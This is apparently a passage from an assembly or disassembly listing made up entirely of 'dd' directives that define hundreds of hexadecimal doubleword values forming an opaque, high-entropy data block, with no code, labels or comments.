		dd 482A8FDh, 132171D5h,	46B880A1h, 410E9AB8h, 0C0AE4927h
		dd 0A7E64466h, 0DBFE0005h, 0F5D8AC89h, 0D25E0757h, 0CF0029E8h
		dd 24B3B82Bh, 0E0147127h, 38FB287Ah, 0A5520719h, 34F2AA9Fh
		dd 47F090E2h, 0F28C80F6h, 0AF097F00h, 8EFA3580h, 207A00F9h
		dd 0E53C83A4h, 7800F793h, 48493B0Ah, 0F64FE3B1h, 91E3A7Eh
		dd 4EE0B48Eh, 8185140h,	0FE00DD68h, 17112358h, 8533C27Ch
		dd 8EE0B8A0h, 1C63995Ch, 0E040F76Fh, 0D182A3EAh, 0EBAB19F8h
		dd 401E2003h, 5D205FAFh, 9B3FF000h, 1076712Ch, 0CC480023h
		dd 0B2170738h, 0DAEC47BDh, 52808802h, 0C0764AC6h, 1F324F54h
		dd 1EB78CE3h, 0D5C7C13Eh, 30E5DA01h, 1E06DF18h,	222670C5h
		dd 723D0048h, 676EE62h,	5A015DFFh, 0E3D7B531h, 8064213Ch
		dd 0F69200E7h, 94C201D0h, 0DE0443BFh, 8D0DC611h, 1175C98h
		dd 0EA6F0F58h, 0D49C318Bh, 0CC020914h, 0D3EEC1D2h, 0DB604183h
		dd 8440B3D1h, 0DBA9Ch, 0E8271D47h, 6932815Dh, 0C39889E5h
		dd 5C5780F6h, 0E79B98h,	5788732Ch, 0D64E780Fh, 4305E318h
		dd 1CCDC8A1h, 709D40h, 6E4FF042h, 0AC98B44Ah, 3ACCE200h
		dd 10D1B327h, 29B028DBh, 0B9311D54h, 0F9DC0426h, 7DB0D15Bh
		dd 2334209Ah, 1493E907h, 0CB80B1EAh, 0F43A589h,	0E7B45816h
		dd 677BF6A3h, 0F80176C0h, 9B00CA7Eh, 67F0AE8h, 5A989Eh
		dd 17D2B396h, 0AACBEF9Fh, 4DD1C900h, 4E2C3E31h,	184B48A6h
		dd 0FE6CCF00h, 0C693D09Fh, 10DBC90Eh, 0C54C215Dh, 86C488CEh
		dd 578D0034h, 8ABF1FAEh, 1E3CAACAh, 0B05A80B6h,	98549CBEh
		dd 7A0B002Bh, 0AC13DA82h, 2FE9545h, 4918B300h, 7427B9E5h
		dd 83F8E6h, 0B605D667h,	0D53BD4Dh, 3643BC00h, 3D5BEFB9h
		dd 756CEEA8h, 483B282Ch, 0E17E00B0h, 233BA90h, 8172F8ADh
		dd 36009173h, 78FBAE0Dh, 9F93E2h, 22F62C7h, 721267BCh
		dd 288AF807h, 10C0B73Dh, 8DFF75h, 5321D50Fh, 930E0C27h
		dd 0F8D6EE25h, 2C349063h, 80081470h, 0F0AA28BBh, 11008DA0h
		dd 0B00B1EA8h, 2C3EF2B7h, 3F4BE09h, 0A67CD50Ah,	3222F0F8h
		dd 0EED82900h, 6B0FD2A7h, 2EF60EFBh, 3D2F3BF1h,	110090B4h
		dd 0B7E6ECDAh, 0AF14A638h, 8C81A9h, 0D454FAD9h,	57B1EDEh
		dd 0B844A813h, 0F4F000FEh, 0D7C5C419h, 71C31C1Eh, 76E7D0C0h
		dd 1FB20EE0h, 9FB1A834h, 0EEEC5414h, 88B7A500h,	27A0E617h
		dd 185AFE1Ch, 1C1DF483h, 392980D8h, 54121C55h, 0AE4181AFh
		dd 6097448Ch, 45004A16h, 907253EFh, 0E0DB7DE9h,	0A0150050h
		dd 8C2151CCh, 0D70EFF70h, 0A0A474B4h, 55E38A6Ch, 9B88001Bh
		dd 332C09D0h, 0BD01F10Ah, 0B0BA3FB2h, 8C209AF2h, 0E6F51EF8h
		dd 8BF8AD2h, 0E5F00B90h, 0BBE0000h, 0F201FA64h,	706ED1E7h
		dd 0AE859B6h, 0EAA0097Ah, 260AB422h, 0EDA5038Eh, 2FB81529h
		dd 0C4A29710h, 2073990Eh, 0AA2A6A04h, 31A9E000h, 0CDADA671h
		dd 0D7BA0010h, 0BFD91688h, 96012C97h, 31E8DBD8h, 0E8DF5862h
		dd 0DFA6E7h, 5DFB32F6h,	601C30Ch, 0CC13B713h, 0C0055A00h
		dd 36BA539h, 466970A3h,	0CE8B988h, 777EB6Ah, 0C5A72900h
		dd 0D8FB7C1Fh, 43B01E2Eh, 412F9F3Bh, 4D697EBAh,	0EC1F876h
		dd 0F0BDD200h, 9F2266F9h, 7AF50028h, 56137801h,	7E005B97h
		dd 0FF55308Bh, 9482EFh,	5C8DAE07h, 6A87C669h, 0EDEBC200h
		dd 8553FA5Fh, 64B800D8h, 0B33D1647h, 0E77138B2h, 94C339h
		dd 0A1B5E8E2h, 26FFE6CEh, 3DD0AE89h, 9BB02D81h,	0F069F05Ch
		dd 52066E41h, 0A9D239E5h, 0C2080018h, 0FC100406h, 0A800789Ah
		dd 0ACED81FAh, 3A852761h, 4C015B35h, 7350E948h,	29EC74F4h
		dd 0B49C2B00h, 0C55642ECh, 932E2425h, 514907EFh, 9D34F0C6h
		dd 6400DC28h, 10A3361Bh, 4C9244A9h, 2048185Bh, 0ED4DC4C0h
		dd 549827C5h, 8EDDC800h
		dd 86619437h, 0A12000ECh, 1FBFF72Ah, 0ED000DAEh, 0F31A7AE3h
		dd 0C3CF660h, 34451555h, 4E00A350h, 0E9FA785Ah,	18443B71h
		dd 0B007975Dh, 8418B86Dh, 59C0F001h, 0D1A90185h, 0B4ACCFB5h
		dd 5D27FC32h, 175B440Bh, 93260047h, 0DF4ADAh, 5E90581Fh
		dd 0CB754C81h, 0D7D88A01h, 991AB807h, 15189F4h,	94FD1896h
		dd 0C438356Eh, 440F256Ah, 3F8B9BFCh, 0B5669F40h, 781396Fh
		dd 4D3802DDh, 8427904Bh, 0B8491449h, 699C0038h,	432619AEh
		dd 0E1210F32h, 0B9A2CEE8h, 8CE2350Eh, 187810C0h, 184D072Eh
		dd 76F9FE00h, 9692114h,	0A4317C7Dh, 5A1CC400h, 560F4A6Ah
		dd 0B365B13h, 0DA095Dh,	0FFB3460Ah, 456F015Fh, 0FDD92C42h
		dd 0BD15ECAEh, 0D82D660Fh, 10801FC6h, 793469BEh, 0C4881261h
		dd 0DFC40796h, 0D01F1578h, 0A53741ECh, 0B332AA02h, 0C8690E81h
		dd 0D21670h, 566F5A83h,	413A8805h, 0BF0033E6h, 701E12ADh
		dd 243B5EE3h, 0A8E41D65h, 0D87D0ED3h, 0FC20176Eh, 0D492531Eh
		dd 0B7EADD00h, 0CEDB9C61h, 10C4A05Fh, 0F7C7456h, 0BC8AE723h
		dd 0A38D9E60h, 0A700661Eh, 944A2574h, 30DBBDh, 438C54F3h
		dd 0C190D623h, 9A68E30Eh, 0EC4EC0A7h, 4F2773F2h, 60B0E815h
		dd 57D25918h, 61C9073Dh, 30F9D59Dh, 1A5918Bh, 0FB733Bh
		dd 9CCF20FEh, 2FFFC0Ch,	0B90805EAh, 34414F87h, 0D029F2h
		dd 8E5CD2A0h, 4A346443h, 0E056BAh, 0D1EB3A1Ch, 20038F5Bh
		dd 0BC6E7F1h, 238EC03Dh, 3A04BF4h, 0AD29BA04h, 0E0DB400h
		dd 0EBAABEE7h, 2EC203D0h, 0C5E65987h, 0F07B76E0h, 91A5FC01h
		dd 86B3B79Fh, 48857460h, 7C0927AFh, 5301EBC7h, 50EF9DACh
		dd 58728CB8h, 8B200600h, 7C114FA1h, 9D291E23h, 0DC63C0ECh
		dd 0F1C4C06Ah, 0BC7E5E18h, 1C1D1E8Ah, 0C7EE1C41h, 51393FBDh
		dd 7005483Eh, 96246090h, 0A400585Eh, 92437F34h,	0A585A07Dh
		dd 4E7E1237h, 946C0390h, 238AB617h, 0CEFDC060h,	9DB52A38h
		dd 4C01526h, 9D162FE0h,	90FF2EACh, 37FA0188h, 0E8356261h
		dd 67EE8203h, 94F5732Ah, 47667200h, 0C663E5BFh,	0E6D730E3h
		dd 6C1FD518h, 875120F5h, 3EB6C800h, 0F261DF98h,	6D24045Ah
		dd 0C1CA5DB5h, 10154B14h, 3F5062B4h, 6E9DA381h,	548E8FA2h
		dd 20702246h, 2E204F00h, 0B8FF92CAh, 7B17D7Fh, 7C6F618Ah
		dd 2880C104h, 942870CBh, 1FCCC14Ch, 74CCBC1Ch, 259A34h
		dd 0DC8A3F5h, 68876C39h, 7B00D4FCh, 2C27BBC1h, 0EE1A3348h
		dd 2AC805A9h, 0C0DFC23Ah, 0FE192938h, 5F260107h, 0A490187Bh
		dd 656C60h, 0D4879BFAh,	0F066131h, 70E67300h, 74E4677Ch
		dd 75A0008Eh, 65BA7D47h, 0A877B192h, 3BF4835Ch,	0AB8000FAh
		dd 13C8F24h, 0D5060090h, 85CBC015h, 0CC00171Bh,	654A228Eh
		dd 0AFD340Eh, 362E9CDh,	0A14807F8h, 5CBB9046h, 4B0067ACh
		dd 0BEC8459Ah, 3D660F5Dh, 0CA1C9876h, 0DE7E416Fh, 30DBC5EBh
		dd 9A4FB6F9h, 0DF9CCC42h, 67A8C9B7h, 43B420h, 23C90FF2h
		dd 0E536B82Eh, 7DF89300h, 0DD994B61h, 70894871h, 8835B712h
		dd 6F00E140h, 0A3DD9D90h, 13B938A8h, 40CE9666h,	5DE7A748h
		dd 0E5008CA1h, 0A90AC281h, 0D252B3h, 9E0B587Bh,	0CAF5372Ah
		dd 0F600E073h, 81A2B57h, 60BE4EA0h, 3D77F002h, 7170547Eh
		dd 2260B3F0h, 9E69EFA0h, 2A551490h, 7530ADF9h, 674AF620h
		dd 0A4BB3502h, 70F240D6h, 0A7BE00D4h, 4BF043D7h, 0EF3C366Ah
		dd 0D48B96FDh, 674F181Eh, 0CF820031h, 16D9CFBh,	4D863466h
		dd 30DDC409h, 0B202CB04h, 8468521Eh, 0B91C5160h, 5AE2C700h
		dd 0BC80283h, 0EE02F49Eh, 635719D4h, 0B1C0A4C0h, 0CA3EEBh
		dd 0F08A4C0Ch, 0F4980F8Fh, 0A26D1D00h, 0A63AB5EFh, 5D2C3134h
		dd 0F0446240h, 1E07D5ABh, 375BE24Fh, 5FD2A871h,	39810C61h
		dd 0FE0AA5DFh, 0ADA4C43Dh, 5D457F04h, 9C90A1DBh, 9EBF9B04h
		dd 7E59050Ch, 3DA421D0h, 70E0CCA0h, 2551EA00h, 76F8775Dh
		dd 0B3A7973h, 858B62Ch,	0DB055880h, 4B001A1Bh, 79DC0B59h
		dd 753ECBAEh, 5DE2002Fh, 9B5E1C8Ah, 0A70061A8h,	0EA12CDA3h
		dd 30625B36h, 227074F7h, 0C63C5F3Ch, 8C9E800Fh,	0C5543325h
		dd 0A3F2000Ah, 5E3D2C8Fh, 213A9BCBh, 80F9BD6Ah,	4EBB36D7h
		dd 9FC4167h, 0BA39CCA6h, 0C314818h, 72B70E09h, 3AD091FDh
		dd 26BEF8h, 38D6A613h, 0AF4187BDh, 3B034C71h, 6E3E10ADh
		dd 31B988B3h, 140B89Fh,	0FAD44601h, 0C07A7416h,	72035817h
		dd 0F278E862h, 686AD92Bh, 33DAFCh, 4D733DACh, 0E185BB49h
		dd 3943FA00h, 0AA974C60h, 6DB700DDh, 7FF6FC52h,	0E001BB8h
		dd 0ACF067F9h, 7E88DF35h, 0CE1D0391h, 0D2C9CFF6h, 1680C084h
		dd 0FD0083DDh, 254569E6h, 28B9DBCCh, 76C91A7h, 0E83895C7h
		dd 0B2A5C042h, 28B0D7A6h, 2BA7DD07h, 1DF099B1h,	281605h
		dd 0BBE304F0h, 58E94E1Eh, 0D6D54B00h, 0EDA7EA41h, 473203B7h
		dd 0AA38E8C4h, 0CFDC9CF0h, 30031090h, 0CB2EE419h, 0B686A83Ch
		dd 2DDF0015h, 81903FC8h, 0DD001BB7h, 0ADEC1F2Fh, 7A9347D7h
		dd 543B48C0h, 8D7CD200h, 0A5341AC3h, 5AB39412h,	1FEA6A12h
		dd 3D5C49F1h, 6EC258E0h, 0BA1AF104h, 14C0CC12h,	1817D33Bh
		dd 0D99B4C03h, 97006078h, 0CE91641h, 0BC4D69Dh,	0BCC9FCB3h
		dd 0DBCB8887h, 22906600h, 5305DACDh, 71ACEF46h,	1DC164C0h
		dd 0EEF20152h, 0E38F691Bh, 4F20C855h, 6D41451Fh, 63A5D800h
		dd 0F8E5F1h, 0D40B578Ch, 8F4F091Ah, 0C2913A00h,	28655C98h
		dd 0CD0200B7h, 595143ABh, 841EEA5Eh, 803DB3D9h,	8CDA06AAh
		dd 53AC23h, 9B3EBF83h, 4A34F11Ch, 0ECA69301h, 0F436B42h
		dd 71103BE4h, 0C8C5482Ch, 9D2E267Dh, 0C5C81224h, 0C9B88898h
		dd 0EB00DAEEh, 0F0967E2Dh, 0AA53B3h, 0C2E7385Fh, 0B12E8293h
		dd 0B9B05A78h, 0F3839201h, 9553B0A0h, 2C0EE430h, 4982DC8h
		dd 0D05696BFh, 0C34C7848h, 9479B009h, 5ED0A0F1h, 1D0F4D76h
		dd 0C1E96055h, 45F37AF0h, 0BA6AE4B9h, 0C1406600h, 0E875B747h
		dd 85A40E6Ch, 31A074D4h, 1B385C71h, 0D3C8ED60h,	9800FECh
		dd 7FAB63F9h, 919AC01h,	2091EDD4h, 2B1E0284h, 56025905h
		dd 40DF4880h, 1C5F9698h, 0F22F801h, 466BE3D6h, 3E8A7420h
		dd 0E603994Ah, 16B5D9CFh, 0AD9890D0h, 60046255h, 60E0BB2Bh
		dd 33261B25h, 0C106A289h, 6700DBDh, 556141B3h, 62001193h
		dd 151D7691h, 70B79DD5h, 7C6C488Dh, 0CC3C0416h,	3014C98h
		dd 0B2EE8E3Fh, 0EC74BAB8h, 0CC403BBEh, 10844618h, 0D8178148h
		dd 0A4870699h, 0CE89A9B0h, 0E4A77337h, 0C0A02A74h, 0F9D501B4h
		dd 58CA9C70h, 9621E029h, 0BEBF2203h, 0EF9D8803h, 2366879Bh
		dd 6D785780h, 0E4F80091h, 0E2B4E5A9h, 0AFE4540Bh, 81395C3Dh
		dd 6F368C17h, 6BCC7D14h, 0D37213DBh, 0FA9700A2h, 4FC6BCF0h
		dd 730018F4h, 0BA63B2FEh, 170731h, 0AF8C4B93h, 1ED3B6F4h
		dd 1BC8E4Dh, 439E71ADh,	0DDF6EB0Dh, 66732860h, 0E44A48h
		dd 192334ECh, 0BF2BDAh,	3ABDD20Ch, 0C9508504h, 59399700h
		dd 0BB470F12h, 962F03CAh, 0A5FA60F3h, 0F9F59890h, 752D8D1Ch
		dd 0EE157240h, 2C1F3E38h, 96F0EB48h, 78249024h,	2A708CF6h
		dd 0F79B200h, 2B8FFD7Bh, 63B01C1Eh, 246017FCh, 67B440BCh
		dd 0CF869CFDh, 0F102367Eh, 61066F80h, 0B43C6044h, 39782D31h
		dd 66FED890h, 1E59133Ch, 1C8249A9h, 0DA0667D6h,	0C9E00074h
		dd 0DD62C41Bh, 0E0A859FFh, 0DA17985Fh, 0CCC1B4FBh, 8DFD3915h
		dd 0E6484E4h, 20742D4Dh
		dd 73117980h, 0CE255CEEh, 3FD0A0A3h, 3CC5068h, 578EDDA6h
		dd 0FEF0A1B9h, 0B714E3D7h, 38401FFh, 0AF943782h, 509F98D0h
		dd 2E55F496h, 8034C192h, 841011DBh, 0E900C258h,	51F431EBh
		dd 8AF855h, 0A6F2CED5h,	0D27D04F6h, 52265090h, 1B00519Bh
		dd 87A42BFEh, 7FA2006Eh, 0C1D903C4h, 0E300B6C0h, 0A9DEF9E9h
		dd 36E0ED3h, 0D6FCED6Dh, 0E790EA07h, 3C0C51A7h,	70E82AE1h
		dd 6B86184Ch, 0E38880C1h, 3FB83001h, 0B0492ADDh, 0E98C987h
		dd 0F3291016h, 8500D73Ch, 41A1150Bh, 5D63FEFh, 9B1B0984h
		dd 2ECC827Eh, 456BEE40h, 0CAC51402h, 54BEDC2Dh,	254F81DCh
		dd 309BD60Ah, 5C00C26Ch, 0B5292112h, 1313CD01h,	0C085B0FDh
		dd 0A144AE5Ch, 75A81200h, 22D0072Ah, 580B786Dh,	81008C1Eh
		dd 4CD7995h, 0DEA086AFh, 0B812FA29h, 0B8004061h, 0EC891AC0h
		dd 0D4960074h, 0C582587Bh, 0AE00A1F8h, 1493D885h, 19428Bh
		dd 0D1C98C3Eh, 29A8A746h, 444C4500h, 353D337Dh,	182C008Dh
		dd 5ACE2BDBh, 1104A297h, 5E8B2571h, 0E414B0h, 6B490E4Eh
		dd 30CEF25Fh, 7EDDE10Bh, 60F4851Ah, 0B08A3CE0h,	0EB901B5h
		dd 323A3B6Bh, 14E08068h, 0CF635DD9h, 0C71502F1h, 3645A8Bh
		dd 5100A458h, 3E3C616Fh, 0E2BDD789h, 9853700Eh,	0BAD60068h
		dd 3D560BBEh, 0D1288338h, 8091089Fh, 5508BF07h,	741A317Ch
		dd 0ECF650BDh, 0D16503CAh, 6AAB50C4h, 22151020h, 6D783B48h
		dd 0E8DE5C00h, 37241A09h, 5B981D25h, 328F40C0h,	4217DF43h
		dd 7D05881Ch, 1B1E39C0h, 64E1C7Ah, 99A875C9h, 7400C814h
		dd 0D6472B11h, 33260h, 7E1A79Ch, 0C83085F2h, 8209AD00h
		dd 2B706B62h, 40ED6B3Eh, 87CC18C1h, 0E0CBD998h,	0C00C2C5h
		dd 87CEC0F4h, 91C0922h,	680013Dh, 1D26FBCFh, 68C28D00h
		dd 0BF740637h, 112C006Bh, 7150A5BAh, 49E8D297h,	0A9C9EF00h
		dd 7BBBF054h, 0F3E300B4h, 0DA3107DFh, 680720B6h, 254D6551h
		dd 582E094Eh, 273200ACh, 0FE350F80h, 953B134Bh,	0C1EA00E4h
		dd 5F430B7Dh, 0C41E0FB7h, 5440BFD4h, 57958F66h,	99731200h
		dd 2A3EEADEh, 0FE2F1DA1h, 0FCD700C7h, 9CAE7C8Dh, 0B8BA6200h
		dd 990E1AD9h, 0E65F001Eh, 9FDB48EAh, 0E372677Dh, 0F159A100h
		dd 5E0CAEDh, 1F900E8h, 0A5817A1Dh, 0CD024E32h, 97F0348h
		dd 503D6202h, 7305001Ch, 3F61420Dh, 0AA1F2FD9h,	0BDF8CDEBh
		dd 1A75805Bh, 631693Dh,	2010AE9h, 80B44B44h, 0EF8F3957h
		dd 0AE7055CBh, 83DF232h, 8ECC87Ch, 138F0BB1h, 0AE801BAFh
		dd 7580943Bh, 6C34DE00h, 71C57440h, 723CE846h, 6D60C0F0h
		dd 0B3DEB19Fh, 70698977h, 0CAE07278h, 40403C20h, 0CBED8F3Fh
		dd 65320546h, 47403221h, 501DDB22h, 0FB14F96Bh,	11F2364h
		dd 0CBEA8F3Eh, 887818ADh, 8F003631h, 11F54B18h,	186B198h
		dd 0DAB0F7FBh, 824AC641h, 3670BAC0h, 0D04492h, 485396Ch
		dd 0F11C3A1Dh, 8CC0AECh, 7A422116h, 7DF20120h, 72701441h
		dd 0DD244366h, 3F7CDAD0h, 0B6031BF0h, 950C612Eh, 53C7E059h
		dd 832200A1h, 0EE249646h, 0B31D4A30h, 2B00D8C8h, 53B7A6CDh
		dd 9FA00F8h, 321DE18Ch,	81000E4Bh, 906167B6h, 39F06ECFh
		dd 7A80DF70h, 69B7FA4h,	4005D8Ah, 94CCAA9h, 163EE05h, 5A2DB3DFh
		dd 0D8FF7738h, 440FF0BAh, 201BD0D6h, 63D1109Ch,	0A93C0062h
		dd 6C38E702h, 53008C4Fh, 90A68076h, 0E4920B0h, 25122D46h
		dd 5852805Eh, 26E80805h, 0F9E20DEEh, 0CF5AA900h, 0E62A7E79h
		dd 5C44745Fh, 3905198Bh, 0C0FD2776h, 6EC57384h,	7A309574h
		dd 4187202Bh, 0BA5B0076h, 0CE4288E9h, 7900F6C7h, 0F90892DFh
		dd 0F1F55DB1h, 0F8DAAA70h, 85EC3888h, 77A96060h, 0B67482B7h
		dd 246B10C0h, 0FC083907h, 302E0E28h, 0BA8C29B2h, 0E000F621h
		dd 21CE1004h, 1C0C95h, 36BEE372h, 8B6F75C5h, 0D90029DDh
		dd 0F0B06BACh, 4890F4D6h, 0B40C36B3h, 44D91DDDh, 0B0F98A00h
		dd 93F8638Fh, 0C9AB3149h, 80B5F508h, 0B0E76820h, 182EDE51h
		dd 19EC1CFDh, 0FF008E61h, 4E85711h, 861E95h, 0C9E5D5F2h
		dd 242DB279h, 907C4D37h, 233A45B0h, 789FE9F3h, 0FDF1C097h
		dd 8F8E88FAh, 0EF09F666h, 0B5B70021h, 3809CEF1h, 0DB007ED5h
		dd 245280C2h, 317F54C4h, 0B96045D7h, 4F40171h, 0A576E03Bh
		dd 9857AA26h, 0B392A103h, 8072A896h, 30040078h,	0FE58D0FAh
		dd 0F0087C0h, 0B157CBECh, 863214h, 4AF45640h, 16E42E7Fh
		dd 6C205300h, 0E6B02F4Dh, 0EE29008Dh, 8544725Eh, 4A004BECh
		dd 477B9341h, 14D02516h, 0E558A253h, 0C3D2451Eh, 3E69E994h
		dd 47800BD7h, 4FB3E099h, 291E5600h, 0AF965E5h, 0BC7B0097h
		dd 0C721F4B7h, 0D7029EE9h, 8A02B5B1h, 0B39C409Bh, 898F0E5Ch
		dd 417885F4h, 0F01A454h, 9FCCC615h, 1883138Dh, 0C4683981h
		dd 0DD973007h, 0FDC18518h, 1FF0459Bh, 0BF5FE61h, 153C36F1h
		dd 59B87000h, 0EB009BFFh, 7C9F5BC3h, 3E6810h, 1206F484h
		dd 9BDFB3E3h, 44A3E400h, 11CE6FC0h, 43040038h, 5ED6B687h
		dd 0A7F81F48h, 427B1B00h, 0ED9BDA16h, 94FE0012h, 0A8E4CF28h
		dd 0DD0FE60Ah, 0AB0819h, 0D6F287C9h, 0B2260078h, 0A931ADDFh
		dd 210EE159h, 0A08E2FA3h, 1422DA06h, 0D518009Bh, 4375A22Bh
		dd 51C7760h, 2D468F38h,	7386651h, 0CB4F3EE4h, 0EC68C026h
		dd 4B07BFB6h, 0EDA08957h, 8BCD85A0h, 3CE00F3h, 417D033h
		dd 0E160FFBBh, 0B2A38110h, 0BF80C0A6h, 0F52A23BCh, 0C1617726h
		dd 9B903E00h, 0F41F8360h, 0ECDF000Ch, 8D63D8Eh,	58078D0Dh
		dd 8FDCD156h, 1F6A88B0h, 434066Ch, 60E47BB3h, 99017E75h
		dd 0F7118DFBh, 82F40849h, 4D7F05E5h, 813B5338h,	0E0662F1Fh
		dd 6D00B9A1h, 77C40D41h, 770FEA65h, 0AECA006Ch,	0A987E16Bh
		dd 4900C92Bh, 3C5D2342h, 0C3E2D7D8h, 0BB4E2018h, 26B4C90Ch
		dd 0C663174h, 0D2EFE741h, 0D80FAC28h, 20724DFBh, 0A5D5F007h
		dd 3FE518B3h, 4EC92059h, 75470D00h, 0C66172A4h,	86401D46h
		dd 97003D2Bh, 0C41AAC22h, 58E864A1h, 0D40E4598h, 0C0DA25E5h
		dd 0E920A223h, 0DCF10018h, 5BB9DDB7h, 97000D69h, 5A431C98h
		dd 0C10A661Bh, 82866740h, 5000F32Dh, 2103A702h,	1CB851F6h
		dd 7FE9A80h, 700E6CA6h,	264A4F12h, 51DFC503h, 0A1D6E4F4h
		dd 3EE495E9h, 0BB1E80DAh, 0AFDC6F00h, 1425B4F0h, 0D13200ABh
		dd 57A5F2CAh, 6A60EF44h, 7F8BC428h, 13B7004Bh, 3147557Ah
		dd 4007A38Dh, 0EAA8ECB2h, 687B4330h, 0AB8C0C1h,	0FB47215Ah
		dd 6600C672h, 53E68DAAh, 49644Bh, 7CC27B8Ah, 5DDCC77h
		dd 0DEA57800h, 0AF23537Dh, 9813540Fh, 76AB09Dh,	34D54031h
		dd 0E7190CA2h, 8DB9C600h, 398ED4Ah, 0A559061Eh,	0D9CC17D3h
		dd 11A2AE00h, 0FACB4E01h, 43D61C38h, 0F70C079Fh, 9A88109Eh
		dd 0EDF623DBh, 55035371h, 1B788BEEh, 856E7AAh, 584B0019h
		dd 9CEBAF7Ch, 80B59AC9h, 8C79A6E2h, 2A0105FFh, 2A0748D0h
		dd 1900AF04h, 3EF54E0Dh, 4B98AB31h, 0B34CC01Dh,	0FB8900F8h
		dd 548D6DADh, 642B015Dh, 0A01573FAh, 4D1CD01Eh,	459F500h
		dd 685CFB65h, 776C00D1h, 41B1A1F6h, 0F81F4C01h,	0F9005F49h
		dd 46072B75h, 4E040779h, 40B36581h, 0D2483EF8h,	96474F00h
		dd 0E64C5D64h, 44FB00B5h, 4527720Ah, 0D103EC58h, 28C9CDF4h
		dd 0BAA388D0h, 0CEFE001Bh, 7CAA1A6Ah, 120055F5h, 0C0F72ADAh
		dd 19C2E6D8h, 29DC6DD0h, 4A21D24Eh, 1401D8D7h, 29BF10DFh
		dd 0D222811Ah
		dd 0D9235721h, 46A43803h, 4251DF5Ah, 2C3D18C6h,	8ADA0C29h
		dd 292173C3h, 76AE043Ah, 0DBF004DFh, 796BFF46h,	75149E22h
		dd 8429C446h, 165444ADh, 48177244h, 0AEA84292h,	8869C82Fh
		dd 0EB8419D6h, 3C04DBBEh, 508C4AACh, 1814CA14h,	0A0510A21h
		dd 582E8889h, 0A1AE29CCh, 0C850002h, 1E2B9694h,	9000DB11h
		dd 22A4BFF9h, 0FB2F4A3h, 0A926F52Dh, 8FC5ED23h,	3082F381h
		dd 0B100BD63h, 4E57273h, 0B8C47Bh, 61A15134h, 2809CAFBh
		dd 0E74C4000h, 86DF2A26h, 0D7C41C50h, 0C91DBA4Eh, 0D4DFFBh
		dd 6BA40D2Ch, 78F0030Ch, 0A942F214h, 532401A1h,	0D2C8E116h
		dd 0E58C1886h, 620250E3h, 0AE69DE34h, 387C4124h, 6A1E8h
		dd 571D3ED6h, 0A7C06D19h, 94B7750Eh, 45F12036h,	209242h
		dd 1BDA3B95h, 0C5508D21h, 195A1300h, 7286D0F8h,	430F07AAh
		dd 106FBA7Ch, 3204D793h, 4FB6CA01h, 0F055DF42h,	0DD51C8h
		dd 41F90A15h, 402BB8D0h, 1B903900h, 984898Eh, 0C8CA48B7h
		dd 0CE801538h, 7EBB3ED7h, 6CB8BE02h, 0C0574F00h, 85750B11h
		dd 33FF0037h, 0EE71C204h, 6D009B68h, 0E8967C5Eh, 35830E7Dh
		dd 0EFF8D826h, 0C7547580h, 402D01C9h, 38A19BC5h, 0C323F82Ch
		dd 0E03F7F6h, 0B9252891h, 0EA10E059h, 0F1B046h,	99545A27h
		dd 8C801EACh, 2C166101h, 0B6F8F459h, 12E32CCh, 3895C107h
		dd 0F1D111EDh, 5EEFD08Ah, 94D42C05h, 80005F7Bh,	0E5A7F9ECh
		dd 0D9B00086h, 5A7AE4C5h, 0D600576Eh, 5B85833Dh, 7EF8CCh
		dd 0E7A15894h, 6ED508E9h, 25293Ch, 3C69C09Fh, 3E935BE2h
		dd 0A300C656h, 0FAC5DF46h, 0B0FAAAFBh, 9FEB1C00h, 6148D13Ch
		dd 0CB1D069Bh, 0A0A45369h, 0D434B513h, 6F5EB0h,	39378CECh
		dd 6B542227h, 49E011ECh, 50610100h, 3407BCCFh, 771800EFh
		dd 811E7FF3h, 5100426Fh, 19730AFEh, 7DE98831h, 58240CADh
		dd 0A220E47Eh, 8C3A951Ch, 5DF72003h, 0EE90A79Ch, 0EA8114Bh
		dd 0F27B480Eh, 0A0732580h, 4C906F44h, 2A023F10h, 33C10800h
		dd 9C3E8CBAh, 7C01260Ah, 8039FCF8h, 0BDD227FDh,	781ADE6h
		dd 74263ABCh, 0BB006EE3h, 3F21D762h, 806C2F05h,	0E8402305h
		dd 0AF51B056h, 4EEA0706h, 0D0F8B2A8h, 1844F1Ch,	0C9076CECh
		dd 0F273BE20h, 1A01A6A7h, 1080B924h, 558E6D7h, 5B00389Ch
		dd 0CAF627E3h, 38C85B0h, 0B6F0DD7Bh, 0A9E0FF4Ch, 9B009583h
		dd 9294B289h, 1E223D75h, 8F3A449Fh, 4B204CCDh, 98E10312h
		dd 44F95Ch, 59299690h, 3CDF1078h, 5F800DEEh, 0DA677247h
		dd 0D500E98Bh, 1E235D7Fh, 0A180A0h, 354A05D7h, 0DD54A772h
		dd 16D80B00h, 0DB6B7D6Ah, 0C17C0076h, 0AF3ACC8Ah, 70035FC6h
		dd 6966CAFFh, 80969241h, 9C1F67A4h, 0CC720098h,	0C27E438Fh
		dd 5500128Ah, 8E8778DFh, 0F3F504h, 0CA2B27CEh, 0C1A5B32Eh
		dd 0AB953400h, 6A7616ADh, 3B2979D8h, 1D8056D9h,	0A01FF86Dh
		dd 23004962h, 0EE67A995h, 98D3C471h, 0CA5A0544h, 0C040F61Fh
		dd 0D1F52CEAh, 0CF674A00h, 557EE8F8h, 100490DDh, 24BDF0h
		dd 0C592CE69h, 902A2295h, 459A0064h, 5EE3C991h,	0DC0110ADh
		dd 84D0724Ah, 0A5D06F61h, 0B48F00DEh, 0D33B2FDh, 0D50F7527h
		dd 37FEB74h, 0C8084AD8h, 72D7C554h, 88F70709h, 90992048h
		dd 0B4BA436h, 5A710C00h, 0CF78E6A3h, 0FB702FBh,	0CE384FC2h
		dd 7246868h, 0FCAD5507h, 29801F37h, 0E164AF0h, 5B6CF541h
		dd 6AA61EA0h, 0EF009A94h, 759190B4h, 2E1B85Fh, 871B21B2h
		dd 47F298h, 250CDCD1h, 0FD0C900h, 0F632E09Dh, 57F45Ch
		dd 1A9CFAF9h, 65E6F89Fh, 91441F00h, 18385608h, 49D20050h
		dd 1D34E1A9h, 4C3F5B5Ah, 0DFE800Eh, 98F9206Dh, 0C69D011Fh
		dd 0E540C404h, 0AE8EC469h, 0DB00BB7Bh, 3D956603h, 134BC10h
		dd 1CBFD8FCh, 0C0AFF4EEh, 3839631Fh, 0B6A60083h, 0C410DAEh
		dd 0DB9B00D4h, 0CFB294F8h, 4C3B18F6h, 6307FF7Bh, 3B082A9Dh
		dd 89A44EC0h, 358E0032h, 122BB2ACh, 482A7A4Dh, 8C00D8FBh
		dd 0CC11FDCEh, 1EF5AAE5h, 0CF5A434Eh, 904E0795h, 4D2451C0h
